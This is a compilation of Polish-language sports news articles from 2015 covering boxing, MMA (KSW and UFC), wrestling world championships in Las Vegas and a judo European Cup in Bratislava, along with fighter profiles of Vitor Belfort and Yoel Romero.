Ostatnie lata w wykonaniu Berto to okres w kratkę. Amerykanin dostaje wielką szansę, aby wypromować swoje nazwisko, ale i zarobić.  Berto za walkę z Mayweatherem zgarnie cztery miliony dolarów i będzie to najwyższa kwota jaką otrzyma w dotychczasowej karierze. Wiadomo, że „Money” to marka, a zarazem magnes dla telewizji i sponsorów. Wielki mistrz zgarnie za pojedynek trzydzieści dwa miliony dolarów, ale jest to tylko suma gwarantowana. Mayweather może liczyć na dodatkowe pieniądze ze sprzedaży PPV oraz od reklamodawców.

Mayweather jest o funt cięższy od swojego najbliższego rywala. Amerykanin dał kres wszelkim spekulacjom. – Będzie to moja ostatnia walka w karierze. Bez problemów osiągnąłem limit wagowy. Wiem jak wygrać tę walkę, nie lekceważę rywala – mówi Money.

Jest gdzieś, lecz nie wiadomo gdzie

Wszyscy mają w pamięci majowe starcie Mayweathera z Pacquiao. „Money” zapowiada, że z Berto stoczy ostatnią walką w karierze. Niedawno promotor Pacquiao Bob Arum mówił, iż „Pacman” też niedługo pożegna się z ringiem.

Filipińczyk chce rewanżu z Mayweatherem. Czy Pacquiao przekona Amerykanina do jeszcze jednej walki? – Chcę rewanżowej walki. Aby nie mieć kontuzji i rywalizować na sprawiedliwych zasadach. Bez faworyzowania którejkolwiek ze stron. Mayweather nie może dyktować warunków. Komisja powinna nałożyć na niego sankcje i udowodnić, że nie faworyzuje żadnego boksera – powiedział "Pacman".

Pojedynek Mayweather vs Berto odbędzie się w nocy z 12 na 13 września o godzinie 3.00 czasu polskiego.

KM

XXXII Turniej im. Feliksa Stamma

Zapraszamy na transmisję telewizyjną na żywo realizowaną przez PZB z XXXII Turnieju im. Feliksa Stamma.

PROGRAM XXXII MIĘDZYNARODOWEGO TURNIEJU BOKSERSKIEGO im. FELIKSA STAMMA

W dniach 09-12.2015r. w Hali Sportowej OSiR m. st. Warszawy w Dzielnicy Włochy, przy ul. Gładkiej 18 odbędzie się XXXII Międzynarodowy Turniej Bokserski im. Feliksa Stamma. Do udziału w zawodach zgłoszonych zostało 115 zawodników z 22 państw (69 mężczyzn i 46 kobiet).

PROGRAM ZAWODÓW:

09.09.2015 (środa)

11.00 – I seria walk eliminacyjnych

16.30 – uroczyste otwarcie turnieju

17.00 – II seria walk eliminacyjnych

 

10.09.2015 (czwartek)

11.00 – I seria walk ćwierćfinałowych

17.00 – II seria walk ćwierćfinałowych

 

11.09.2015 (piątek)

11.00 – I seria walk półfinałowych

17.00 – II seria walk półfinałowych

 

12.09.2015 (sobota)

19.30 – gala finałowa

Hala Sportowa OSIR Włochy
Warszawa, ul. Gładka 18

[kod]

Pojedynek marzenie

Wreszcie! Jedni przecierają oczy ze zdumienia, a drudzy już zacierają ręce. Mamed Khdaliov zmierzy się z Michałem Materlą.

Przed długi czas kwestia tego pojedynku pozostawała tematem tabu. Wydawało się, że walka pomiędzy Khalidovem, a Materlą nie będzie miała miejsca. A jednak! Panowie zmierzą się na KSW 33.

Królowie wagi średniej

W Polsce nie było bardziej wyczekiwanego pojedynku niż ten. Khalidov podbił serca publiczności i jest jej ulubieńcem. Na KSW dominuje i gromi kolejnych rywali. Z kolei Materla to fighter, który ciężko pracował, aby wejść na szczyt.

Kontrakt na walkę został podpisany, ale żaden z zawodników nie jest z tego zachwycony. Powszechnie wiadomo, że obaj darzą się sympatią, ale muszą na chwilę o tym zapomnieć i wykonać swoją pracę. Wygrała presja kibiców, względy marketingowe.

W klatce będą musieli pokazać swój cały arsenał. Polska pozna odpowiedź na pytanie, kto jest najlepszym zawodnikiem wagi średniej. W tej chwili trudno oceniać szanse, gdyż wydaje się, że rozkładają się one po równo.

Listopadowe starcie

Wszystko będzie jasne 28 listopada. Wtedy Khalidov i Materla staną naprzeciw siebie w Krakowie. Będzie to pojedynek o pas mistrzowski KSW w wadze średniej.

Khalidov wróci w najlepszym możliwym momencie. 35-letni fighter w ostatnim czasie pauzował z powodu kontuzji kręgosłupa. Po walce z Brettem Cooperem, która odbyła się na KSW 29 w grudniu 2014 roku Khalidov musiał odpocząć od MMA. Już w trakcie przygotowań zawodnik miał problemy zdrowotne, jednak przystąpił do pojedynku. Z Cooperem spędził w oktagonie pełne trzy rundy, co po raz ostatni miało miejsce w 2010 roku.

Khalidov przyzwyczaił do efektywności i zawsze potrafił zaskoczyć publiczność. Wszyscy pamiętają jak efektywnie rozprawił się przez duszenie z Mattem Lindlandem, pokonał wysokiego Kendalla Grove'a czy zmusił do poddania Maiquela Falcao. 35-latek tworzy widowisko, a przy tym jest skromny.

Materla jest mistrzem KSW w wadze średniej od 2012 roku, kiedy okazał się lepszy od Jaya Silvy. Właśnie w rywalizacji z 34-latkiem stworzył prawdziwe show. To była wojna w trzech odsłonach, z której ostatecznie zwycięsko odszedł Materla. Popularny „Magic” podczas KSW 31 spotkał się z Tomaszem Drwalem. Był to pojedynek dwóch wielkich wojowników. Materli, który zdominował wagę średnią w KSW i Drwala, zawodnika z doświadczeniem w UFC. Okazało się, że „Magic” jest lepiej przygotowany kondycyjnie, ma więcej sił i potrafi wykorzystać swoje atuty.

Teraz Materla ma okazję do stoczenia drugiej wielkiej walki na rodzimej ziemi. Będzie rywalizował z fighterem, którego doskonale zna. Kibice spodziewają się ogromnych emocji. Khalidov wróci do rywalizacji po prawie roku przerwy i zapewne będzie głodny walki, ale to Materla jest mistrzem. Obaj ponad pięćdziesiąt procent swoich pojedynków wygrali przed poddanie się rywala. Kto tym razem odklepie?

KM

Janikowski był blisko

Zapaśnik WKS Śląska Wrocław był o krok od uzyskania kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Polak podczas mistrzostw świata w Las Vegas w kategorii 85kg w stylu klasycznym zajął siódme miejsce.

Kwalifikację na igrzyska uzyskuje sześciu najlepszych zawodników z każdej kategorii. Janikowski był o krok, ale nie udało się. Wynik zapaśnika wrocławskiego Śląska to do tej pory najlepszy rezultat spośród wszystkich naszych reprezentantów.

Pokonany przez mistrza

Janikowski udanie rozpoczął udział w mistrzostwach świata i szedł dobrą ścieżką. Wydawało się, że medal jest jak najbardziej realny, a na pewno stać go na uzyskanie kwalifikacji olimpijskiej. Aleksandr Kazakevic starał się, jednak nie był w stanie zagrozić polskiemu zapaśnikowi. W 1/16 finału Janikowski rozprawił się z Grekiem Dimitriosem Tsekeridisem. Kolejna walka nie była łatwa, gdyż Nenad Zugaj to solidna marka. 32-letni Chorwat to doświadczony zapaśnik, który odnosił sukcesy. W swojej karierze sięgnął po brązowy medal mistrzostw świata w 2010 roku w Moskwie. Tegoroczne starty również pokazały, że Zugaj ma potencjał. W Igrzyskach Europejskich w Baku dotarł do półfinału. Janikowski wygrał rywalizację z Chorwatem i awansował do ćwierćfinału, a tam spotkał Zhana Beleniuka. 24-letni Ukrainiec jest w bardzo dobrym momencie swojej kariery i zdobywa medale w niemalże każdym starcie. Janikowski przegrał z Beleniukiem 1:2, ale miał możliwość rywalizacji w repasażach. Polak nie miał zbyt wiele do powiedzenia w walce z ubiegłorocznym brązowym medalistą z Taszkientu Węgrem Wiktorem Lorinczem.

Do tej pory w rywalizacji pań zaprezentowały się trzy nasze zawodniczki. Najwyżej uplasowała się Iwona Matkowska, która w kategorii 48kg była dwunasta. Zawodniczka WKS Grunwald Poznań nie miała problemów z pokonaniem Emilii Aliny Vuc. Wicemistrzyni świata z Taszkientu w kolejnym pojedynku trafiła na Natalię Pulkovską. Ukrainka miała więcej argumentów czysto sportowych i wygrała, ale w 1/8 zakończyła swój udział w czempionacie.

Agnieszka Wieszczek-Kordus w Las Vegas również stoczyła dwa pojedynki. Dorothy Erzsebet Yeats musiała uznać wyższość Polki, jednak nasza zawodniczka w kolejnej walce uległa Nasanburmie Ochirbat. Wieszczek-Kordus zajęła piętnaste miejsce. Zaledwie jeden pojedynek w Las Vegas stoczyła Katarzyna Krawczyk w kategorii 53kg. Polka przegrała z Otgonceceg Davaasuch.

Ukrainiec w gazie

Zhan Beleniuk w kolejnym sezonie prezentuje wysoką formę. W zeszłym roku został mistrzem Europy, a teraz w Las Vegas sięgnął po złoty medal mistrzostw świata. Tym samym poprawił swój wynik z Taszkientu, gdzie zdobył brąz. Z kolei w Baku podczas Igrzysk Europejskich zdobył srebro.

Wśród kobiet prym wiodą Japonki. W kategorii 53kg triumfowała Saori Yoshida, która tym samym zdobyła jedenasty tytuł mistrzyni świata z rzędu. Dotychczas triumfowała w światowym czempionacie trzynaście razy. Warto dodać, że Japonka zdobywa tylko złote medale we wszystkich imprezach, w których startuje. 22-letnia Eri Tosaka nie może poszczycić się takimi osiągnięciami jak starsza koleżanka. Mimo to Japonka to po raz trzeci z rzędu sięgnęła po złoty medal mistrzostw świata w kategorii 48kg. Natalja Worobjowa czekała na moment, w którym okaże się najlepszą zapaśniczką na świecie w 69kg. Stało się to w Las Vegas.

KM

Polak przegrał z Kazachem

Michał Tracz w kategorii 59kg nie miał szczęścia. Polski zapaśnik podczas mistrzostw świata w Las Vegas stoczył zaledwie jedną walkę.

W kategorii 59kg zaprezentowało się czterdziestu czterech zawodników. Tracz trafił na reprezentanta Kazachstanu Almata Kebispayeva, który okazał się być przeszkodą nie do przejścia.

Kubańczyk podbija świat

Michał Tracz trafił na wymagającego rywala. Kebispayev pewnie wygrał z Polakiem i zmierzał w kierunku strefy medalowej. Tracz został sklasyfikowany na trzydziestym piątym miejscu. Reprezentant Kazachstanu wygrał trzy kolejne pojedynki, co dało mu awans do półfinału. W walce o finał odbił się od Ismaela Borrero Moliny niczym od ściany, jednak nadal pozostawał w rozgrywce o medale. Soslan Daurov był przeciwnikiem Kebispayeva w pojedynku o brązowy medal. Zwycięsko z tej batalii wyszedł Kazach.

Mistrzem świata w kategorii 59kgzostał Ismael Borrero Molina. 23-letni Kubańczyk stopniowo zdobywał uznanie wśród najlepszych zapaśników aż w końcu sam sięgnął po najwyższy laur. Rok temu w Taszkiencie był tuż za strefą medalową – zajął piątą pozycję. Niepodzielnie panuje na swoim kontynencie. Trzy razy z rzędu zdobył mistrzowski tytuł na czempionatach panamerykańskich. W finale w Las Vegas Molina okazał się lepszy od Rovshana Bayramova.

Rasul Chunayev w tym roku jest w fenomenalnej formie. Najpierw reprezentant Azerbejdżanu wprawił w ekstazę swoich rodaków podczas Igrzysk Europejskich w Baku, gdzie sięgnął po złoty medal w kategorii 71kg. W Las Vegas udowodnił, że sukces odniesiony na rodzimej ziemi nie był dziełem przypadku. Chunayev okazał się najlepszym zapaśnikiem na świecie. W finale kategorii 71kg uporał się z Ukraińcem Armenem Vardanyanem.

Radość w Turcji

Cieszy się Turcja. 33-letni Selcuk Cebi sięgnął w Las Vegas po piąty medal mistrzostw świata, ale po raz trzeci został najlepszym zapaśnikiem globu w kategorii 80kg. W rywalizacji w Las Vegas spisywał się znakomicie, a w finale pokonał Białorusina Viktara Sasunouskiego. Co ciekawe, Cebi jeszcze nigdy nie zdobył złotego medalu mistrzostw Europy. Warto dodać, że dwa poprzedniego tytuły mistrza świata zdobywał w niższej kategorii wagowej – 74kg. Turcja cieszy się podwójnie, bo w kategorii 130kgtriumfował Riza Kayaalp. 26-latek to niezwykle utytułowany zawodnik. W swojej karierze zdobywał już medale na wszystkich najważniejszych imprezach. Trzy razy był już mistrzem Europy, a w Las Vegas po raz drugi sięgnął po tytuł najlepszego zapaśnika świata w kategorii 130kg. Wcześniejsze sukcesy odnosił w 120kg. W Las Vegas był pewny, skuteczny i gromił kolejnych rywali. Mijain Lopez Nunez mógł zapomnieć o złotym medalu, gdyż Kayaalp jest w fenomenalnej formie. W tym roku zdobył także złoty medal Igrzysk Europejskich w Baku.

KM

Polacy zalali Bratysławę

Niedawno zakończyły się mistrzostwa świata w judo w Astanie, a zawodnicy szykują się do kolejnych startów. Polacy wzięli udział w Pucharze Europy w Bratysławie.

Stolica Słowacji przeżyła prawdziwy najazd biało-czerwonych. W Bratysławie zaprezentowało się dwudziestu dziewięciu judoków i czternaście judoczek z Polski.

Nasza triumfy

Łącznie w zawodach wystąpiło dwustu dwunastu judoków. W kategorii +100kg zaprezentowało się zaledwie dziewięciu zawodników. Kamil Grabowski stoczył trzy walki w Bratysławie i wszystkie wygrał, co dało mu pierwsze miejsce. Polak rozpoczął rywalizację od pojedynku z Niemcem Benjaminem Bouizgarne. Potem Grabowski pokonał Lukasa Hlavacka z Czech i awansował do finału. W decydującym pojedynku polski judoka wygrał przez ippon z reprezentantem gospodarzy Vito Dragicem.

W kategorii 90kg wystartowało pięciu zawodników z Polski. Mikołaj Trześniewski w pierwszym pojedynku trafił na Bernharda Albera, który musiał uznać wyższość polskiego judoki. W kolejnej walce doszło do rywalizacji polsko-polskiej. Trześniewski trafił na Patryka Cichomskiego, dla którego była to pierwsza walka w Bratysławie. Zawodnik AZS AWF Katowice dobrze wszedł w turniej. Trześniewski stoczył dwie walki i musiał pożegnać się z zawodami. W półfinale Ciechomski trafił na Toniego Grohna i wygrał z Niemcem, co dało mu awans do finału. Tam czekał już Tomasz Szczepaniak, który wcześniej odprawił Dusana Hegedusa i Nicholasa Mungai. Polski finał w kategorii 90kg był najlepszym podsumowaniem rywalizacji w 90kg. Przez yuko wygrał Szczepaniak. Trześniewski zajął piąte miejsce, a Mariusz Krueger był siódmy.

Srebrne dziewczyny

Żadnej z naszych pań nie udało się stanąć na najwyższym stopniu podium. W kategorii +78kg wystartowały zaledwie dwie zawodniczki, w tym Joanna Jaworska, którą sklasyfikowano na drugiej pozycji.

W kategorii 48kg dwa zwycięstwa odniosła Joanna Stankiewicz. W finale trafiła na Włoszkę Angelę Giamattei i przegrała. Trzy zwycięstwa i jedna porażka dały drugie miejsce Magdalenie Miller w kategorii 57kg. W 63kg wystąpiło osiemnaście zawodniczek, co należy uznać za ilość przyzwoitą. Karolina Tałach wygrała cztery pojedynki, jednak w finale nie sprostała Danieli Kazanoi z Białorusi. Polki wywalczyły jeszcze trzy brązowe medale, które były udziałem Martyny Martynowicz (52kg), Halimy Mohamed-Seghir (63kg) oraz Barbary Białas (70kg).

Po przygodach w repasażach po brązowe medale sięgnęli również Bartłomiej Garbacik (60kg) i Michał Bartusik (66kg).

Dwa dni rywalizacji w Bratysławie dały Polakom dwanaście medali. Na szczycie stanęło dwóch naszych judoków – Grabowski i Szczepaniak. Ilość przekłuła się w jakość. Polska okazała się najlepsza i zajęła pierwsze miejsce w klasyfikacji medalowej Pucharu Europy w Bratysławie. Drugie miejsce przypadło Czechom, którzy na swoim koncie zapisali pięć krążków. Z kolei Słowacy wywalczyli jeden medal mniej.

 

KM

Bernatek zatrzymał się na 1/8

Mistrzostwa świata w Las Vegas nabierają rozpędu. Jako pierwsi zaprezentowali się zapaśnicy w stylu klasycznym.

Pierwszego dnia mistrzostw wystąpiło trzech reprezentantów Polski. Najwyższej uplasował się Mateusz Bernatek.

Wysoka stawka

Zdobyć mistrzostwo świata w Las Vegas to jest coś. Triumf w tym amerykańskim mieście smakuje zapewne wyjątkowo, gdyż to stolica hazardu i przepychu. Swoimi wrażeniami mogą dzielić się już trzeciej mistrzowie świata. W kategorii 66kg triumfował Frank Staebler, który w finale uporał się z Hansu Ryu. Roman Vlasov okazał się najlepszy w 75kg, a Artur Aleksanyan w 98kg. Dla Staeblera to pierwszy złoty medal mistrzostw świata. Do tej pory Niemiec triumfował tylko w mistrzostwach Europy, a w światowym czempionacie wcześniej sięgnął po brąz w 2013 roku z Budapeszcie. Vlasow wywalczył kolejny złoty medal mistrzostw świata, ale musiał na niego czekać aż cztery lata. Z kolei Aleksanyan obronił tytuł, który wywalczył rok temu w Taszkiencie.

Pierwsi zwycięzcy już są. Złoty medal mistrzostw świata to prestiż i wielka chwała, gdyż na stałe nazwisko wpisze się do historii zapasów. Obecnie triumf jest gwarancją startu w Igrzyskach Olimpijskich w Rio de Janeiro. Stawka jest wysoka. Warto więc dać z siebie wszystko.

W kategorii 66kg wystartowało czterdziestu ośmiu zawodników. Mateusz Bernatek w eliminacjach spotkał się z Davide Cascavillą i wygrał zdecydowanie. Takeshi Ikumi był rywalem Polaka w 1/16 finału, jednak Japończyk nie poradził sobie z naszymi zapaśnikiem. Bernatek zakończył swój udział na 1/8 finału. Lepszy od Polaka okazał się Dominik Etlinger. Mateusz Wolny w kategorii 75kg wygrał tylko jedną walkę. W 1/16 finału Polaka wyeliminował Bozo Starcević. Szybko z występem w Las Vegas pożegnał się Radosław Grzybicki w kategorii 98kg. Polski zapaśnik w 1/16 finału trafił na Elisa Guri, który pewnie wygrał. Mistrz świata ze Stambułu z 2011 roku był blisko medalu również w Las Vegas. Guri przegrał walkę o brąz z Islamem Magomedovem.

Czekamy na medale

Reprezentanci Polski walczą w Las Vegas o medale – to nie ulega wątpliwości. Panie do rywalizacji staną już w środę i to w nich wszyscy upatrują szans na sukces. Nasze zapaśniczki prezentują równą oraz stabilną formę. Na medal mistrzostw świata czeka 35-letnia Monika Michalik w kategorii 63kg. Zawodniczka WKS Grunwald Poznań walczy o kwalifikację olimpijską, gdyż jej celem jest medal igrzysk, którego nigdy nie zdobyła. Michalik zna smak triumfów na imprezach rangi mistrzowskiej. Polka trzykrotnie była mistrzynią Europy, a na mistrzostwach świata trzy raz sięgnęła po złoty medal mistrzostw świata. Czy Michalik w Las Vegas sięgnie po medal, a w Rio spełni swoje marzenia? Z pewnością byłoby to piękne ukoronowanie jej bogatej kariery.

Warto przypomnieć, że Iwona Matkowska w kategorii 48kg postara się o złoty medal. Rok temu w Taszkiencie zdobyła srebro. W swoim dorobku ma również brąz mistrzostw świata, więc nadszedł w końcu czas na wywalczenie złota.  

 

KM

Joshua stawia na szybkość

Anthony Joshua odlicza już dni do swojego czternastego występu na zawodowym ringu. 12 września w Londynie zmierzy się z Gary'm Cornishem.

25-letni bokser z Watfordu w swojej karierze nie doznał jeszcze porażki. Powoli urasta do rangi jednej z największych nadziei pięściarstwa na Wyspach. Jak sprawdzi się w kolejnym pojedynku?

Tytani w gotowości

Do niedawna Anthony Joshua był anonimowy i nie traktowano go jako potencjalnego kandydata na mistrza wagi ciężkiej. Po pokonaniu Kevina Johnsona już w drugiej rundzie zrobił ogromne wrażenie na obserwatorach. Również sam Władimir Kliczko otwarcie mówił o ewentualnym starciu z Brytyjczykiem. Do dyskusji włączył się również Tyson Fury, który zaznaczał, że Joshua jest na liście pięściarzy, z którymi w najbliższym czasie upora się.

25-latek buduje swoją pozycję i coraz śmielej puka do czołówki wagi ciężkiej. W swojej karierze nigdy nie walczył jeszcze na pełnym dystansie. Wszystkie pojedynki zakończył przed czasem, a najdłużej w ringu przebywał niecałe trzy rundy. W 2015 roku Joshua stoczył już trzy pojedynki i czeka na czwarty. Tym razem jego rywalem będzie Gary Cornish.

Joshua ma już zarysowany plan na tę walkę. Chce jak najszybciej uporać się ze swoim rywalem. – Wspaniale byłoby znokautować Cornisha już w pierwszej minucie. Tego chcą kibice. Jeśli wszystko pójdzie z planem to ta walka nie będzie trwała zbyt długo. Panuje przekonanie, że potrzebuję pojedynków, w których spędzę więcej rund w ringu. Uważam, że przyjdą one naturalnie – powiedział brytyjski pięściarz.

Cornish bez szans?

28-latkowi z Inverness w rywalizacji z Joshuą nie daje się zbyt wielkich szans. Jednak Cornish również potrafi wygrywać przed czasem. Dwanaście walk zakończył przez nokaut i jeszcze nigdy nie poniósł porażki na zawodowych ringach.

W tym roku Cornish stoczył dwa pojedynki, w których spędził w ringu zaledwie pięć rund. 28-latek pokonał Marino Golesa i Zoltana Csalę. Anthony Joshua to najpoważniejsze wyzwanie w karierze Cornisha, a zarazem szansa na wypłynięcie na szerokie wody. W Londynie niepokonany dotąd 28-latek będzie miał okazję pokazać swoją prawdziwą wartość. Faworyt jest jednak jeden i nazywa się Joshua.

Cornish nie wdaje się w dyskusję. Bokser jest skoncentrowany i myśli tylko o walce, a przy tym jest pewny swego. – Zbyt dużo mówi się o tej walce w mediach. Wielu ludzi nie daje mi szans, ale nie przejmuję się tym. Staram się dbać o swój interes i nie słucham tego, co mówią inni. Nie mam zamiaru mówić zbyt wiele, o tym jak będzie wyglądała walka. Wielu ludzi będzie zaskoczonych. Zamierzam wygrać ten pojedynek – mówił 28-latek.

 

KM

Vitor Belfort

Brazylijski zawodnik MMA urodzony 1 kwietnia 1977 roku w Rio de Janeiro. W zawodowym MMA zadebiutował w 1996 roku.  31 stycznia 2004 roku zdobył mistrzostwo UFC  w wadze półciężkiej, pokonując przez TKO dotychczasowego mistrza Randy’ego Couture’a, pas stracił niecałe osiem miesięcy później, gdy podczas UFC 49 przegrał w rewanżu z Couture’em. W lipcu 2008 roku na gali Affliction: Banned pokonał przez KO Terry’ego Martina. Pół roku później walczył na gali Affliction: Day of Reckoning z Mattem Lindlandem, którego znokautował już w pierwszej rundzie. Po rozwiązaniu Affliction powrócił do UFC, gdzie w sierpniu 2009 roku zmierzył się z byłym mistrzem tej organizacji  w wadze średniej, Richem Franklinem. Vitor pokonał go w pierwszej rundzie przez KO. Dzięki wygranym nad Martinem, Lindlandem i Franklinem otrzymał szanse walki o pas z mistrzem UFC wagi średniej Andersonem Silvą. Była ona początkowo zaplanowana na UFC 108, potem przełożona na UFC 112 i po raz kolejny odwołana ponieważ Belfort doznał podczas treningu kontuzji barku, która wymagała operacji.  Ostatecznie termin pojedynku został ustalony na 5 lutego 2011. Belfort przegrał przez nokaut w pierwszej rundzie. 6 sierpnia 2011 roku znokautował Japończyka Yoshihiro Akiyamę ciosami w parterze. Kolejne zwycięstwo zanotował na gali w Brazylii, gdy na UFC 142 pokonał Anthony’ego Johnsona przez poddanie.  Kolejna jego walka planowana była na 29 czerwca 2012 roku w Brazylii przeciwko Wanderleiowi Silvie. Miał to być ich drugi pojedynek. Pierwszy odbył się w 1998 roku na UFC 17. Zwyciężył wtedy Belfort nokautując Silvę w 44 sekundy. Do walki jednak nie doszło z powodu złamania ręki Belforta na treningu.  Na UFC 152 Jon Jones przyjął ofertę walki, którą zaproponował mu Belfort. Ostatecznie Brazylijczyk przegrał przez poddanie  w czwartej rundzie. Po przegranej walce o tytuł postanowił wrócić do kategorii niżej czyli do -84 kg. Pierwszym rywalem w wadze średniej został Brytyjczyk Michael Bisping dla którego zwycięstwo nad Belfortem było by przepustką do walki o tytuł z Andersonem Silvą. Walkę zaplanowano na styczeń 2013 roku w Brazylii. Do walki doszło 19 stycznia 2013 roku, w drugiej rundzie Belfort wysokim kopnięciem powalił rywala i walkę skończył ciosami w parterze. 18 maja 2013 roku zmierzył się z Lukiem Rockholdem, którego znokautował w pierwszej rundzie. 9 listopada 2013 roku Belfort pokonał na gali UFC Fight Night 32 Dana Hendersona przez nokaut w pierwszej rundzie. 23 maja 2015 roku doszło do starcie między Belfortem a Chrisem Weidmanem.  Belfort przegrał to starcie przez TKO w pierwszej rundzie. 7 listopada 2015 roku Belfort znokautował w pierwszej rundzie Dana Hendersona.

Yoel Romero

Kubański zapaśnik stylu wolnego oraz zawodnik MMA urodzony 30 kwietnia 1977 roku w Pinar del Rio. Na przełomie XX i XXI wieku był czołowym zapaśnikiem świata w wadze półciężkiej.  Pierwszy znaczący sukces na arenie międzynarodowej odniósł w 1998 roku zajmując trzecie miejsce na Mistrzostwach Świata stylu wolnego w Teheranie. Rok później w Ankarze zdobył tytuł Mistrza Świata. W 2000 roku na Igrzyskach Olimpijskich w Sydney zdobył srebrny medal. W następnych latach był dwukrotnym wicemistrzem Świata (2002, 2005) i mistrzem igrzysk panamerykańskich (2003). W swoim drugim występie na Olimpiadzie zajął czwarte miejsce. Pięciokrotnie wygrywał mistrzostwa panamerykańskie.  Zdobył złoty medal na Igrzyskach Ameryki Środkowej i Karaibów w 1998 roku. Puchar Świata zdobywał trzykrotnie w 1998, 2000 i 2005 roku. W 2007 roku podczas zawodów w Lipsku, Romero zbiegł ze zgrupowania kadry i nie powrócił na Kubę.  W grudniu 2009 roku zadebiutował w MMA. W ciągu półtora roku wygrał cztery walki z rzędu przed czasem. W lipcu 2011 roku podpisał kontrakt ze Strikeforce. Zadebiutował w niej 9 września, gdy podczas gali zmierzył się z byłym mistrzem Strikeforce w wadze półciężkiej, Brazylijczykiem Rafaelem Cavalcante. Kubańczyk przegrał  przez nokaut w drugiej rundzie. Mimo porażki podpisał kontrakt z UFC. Debiut w UFC wypadł 20 kwietnia 2013 roku gdzie znokautował Clifforda Starksa. 27 września 2014 roku pokonał przez TKO Tima Kennediego, a 27 czerwca 2015 roku znokautował Lyoto Machide. 12 grudnia 2015 roku na gali UFC 194 Yoel Romero pokonał niejednogłośną decyzją Ronaldo Souze. 

Epizod Błachowicza

Z wyjazdem Jana Błachowicza do USA wiązano duże nadzieje. 32-letni fighter wypromował się na polskim rynku mieszanych sztuk walki.

Jak się okazuje UFC to na obecną chwilę dla Błachowicza za wysokie progi. Dlaczego? Można mnożyć domysły i szukać wielu odpowiedzi.

O co chodzi?

Błachowicz jest w UFC niecały rok. Pierwszą walkę dla amerykańskiej organizacji stoczył 4 października 2014 roku. Do tej pory ma na swoim koncie trzy występy w UFC, z których dwa zakończyły się jego klęską.

Klęska to nie jest przesada. O ile porażkę z Jimim Manuwą w Krakowie można było uznać za tzw. wypadek przy pracy, to Corey Anderson całkowicie i bezdyskusyjnie zdominował Polaka. Podczas gali UFC 191 Błachowicz nie przypominał zawodnika imponującego podczas gali KSW, a nawet podczas pierwszego występu w Ameryce w rywalizacji z Illirem Lafitim. W pierwszej rundzie starcia z Andersonem Polak nawiązywał walkę, choć to jego rywal wyglądał na pewnego siebie i zdeterminowanego. 25-letni Amerykanin przechwytywał kopnięcia fightera Ankosu, a sam skutecznie atakował. Dramat Błachowicza rozpoczął się w drugiej rundzie. Polak wyglądał tak jakby z każdą minutą ubywało mu paliwa w baku. Kondycja naszego fightera pozostawiała wiele do życzenia, a Anderson robił swoje. Amerykanin przechwycił kopnięcie Błachowicza i sprowadził rywalizację do parteru. Wtedy 25-latek miał już wszystko w swoich rękach. Anderson doskonale wiedział jak wykorzystać sytuację, którą sobie wypracował. W trzeciej rundzie Amerykanin ponownie sprowadził walkę do parteru. Jego przewaga ani przez chwilę nie budziła wątpliwości.

Błachowicz przegrał drugą walkę w UFC i po raz kolejny wytrwał trzy rundy, jednak nie pokazał swoich umiejętności. W 2015 roku Polak jeszcze nie wygrał.

Koniec przygody?

To pytanie w przeciągu ostatnich godzin powtarzane jest jak mantra. Początkowo w Las Vegas Błachowicz miał walczyć z numerem jeden wagi półciężkiej Anthony'm Johnsonem. W takiej dyspozycji, którą zaprezentował w starciu z Andersonem byłoby mu bardzo ciężko cokolwiek ugrać.

Pierwszym problemem Błachowicza pozostaje kondycja. Po raz kolejny brakowało mu tchu i nie potrafił szybko przemieszczać się, wykorzystując teren klatki. Warto zwrócić uwagę, że liczba ciosów zadawana przez Błachowicza jest znikoma. Rywal ma czuć respekt i mieć świadomość, iż musi być uważny, aby nie odnieść straty. Błachowicz jakby żałował swoim oponentom ciosów. Był po prostu zbyt zachowawczy.

Warto tak naprawdę zastanowić się, czy kwestią problemową nie jest ciężar z jakim spotkał się Polak. Błachowicz trafił do UFC, gdzie wymagania stawiane są wysoko i wszystko jest zupełnie inne. Przepych, rozgłos, ciągła presja. Być może Błachowicz sobie z tym nie poradził. Kibice w Polsce pokładali w nim nadzieję, jednak zawodnik nie sprostał ich wymaganiom. W KSW czuł się dobrze, pewnie i był gwiazdą.

Przez siedem lat kariery Błachowicz poniósł trzy porażki. W ciągu ostatniego roku przegrał dwie walki. Z tym, że UFC to inny poziom. Pytanie o dalsze losy Polaka w amerykańskiej organizacji jest zasadne. Skoro miał być rywalem Johnsona to niewykluczone, że włodarze UFC cenią sobie jego umiejętności, jednak Błachowicz zaprzepaścił kolejną szansę. Pewne jest, że powinien się odbudować, a najprostszą metodą jest zwycięstwo i powrót na właściwe tory. Tyle, że w UFC Polak spada. Zaczął fenomenalnie, ale jest coraz gorzej. Może dla dobra własnej kariery Jan Błachowicz powinien wrócić do Polski. Wszystko w jego rękach.

KM

Zapasy przyćmią hazard?

Las Vegas słynie z hazardu. To miasto, które kojarzy się z fortunami, ogromnym zaludnieniem i wszelakim przepychem. Na sześć dni Las Vegas stanie się areną zmagań zapaśników podczas mistrzostw świata.

Podczas czempionatu zaprezentuje się szesnastu zawodników z Polski. Rok temu tytuł wicemistrzyni świata wywalczyła Iwona Matkowska w kategorii 48kg.

Zaczną klasycy

Zgodnie z kanonem na początek zaprezentują się zapaśnicy w stylu klasycznym. 7 września do rywalizacji przystąpią zawodnicy w kategoriach wagowych 66, 75 i 98kg. Z polskich zapaśników do startu muszą być w pełni przygotowani Mateusz Bernatek, Mateusz Wolny i Radosław Grzybicki. Spośród wymienionej trójki w 2014 roku podczas mistrzostw świata w Taszkiencie startował tylko reprezentant AKS-u Piotrków Trybunalski. Grzybicki zajął wówczas szesnaste miejsce.

Drugiego dnia rywalizacji o najwyższe laury powalczą zapaśnicy w następujących kategoriach wagowych: 59, 71, 80 i 130kg. Wystąpi tylko jeden reprezentant Polski. W kategorii 59kg swoich sił spróbuje Michał Tracz. Kolejnego dnia rywalizacji przyjdzie czas na klasyków w 85kg. Polskę będzie reprezentował brązowy medalista Igrzysk Olimpijskich w Londynie Damian Janikowski. Zapaśnik Śląska Wrocław rok temu w Taszkiencie był dopiero siedemnasty. Na podium mistrzostw świata Janikowski stał tylko raz. W 2011 roku w Stambule sięgnął po srebrny medal.

Panie na start

Trzeciego dnia zawodnicy w stylu klasycznym zakończą udział w mistrzostwach świata, a rozpoczną go panie. Tutaj możemy śmiało myśleć o medalach.

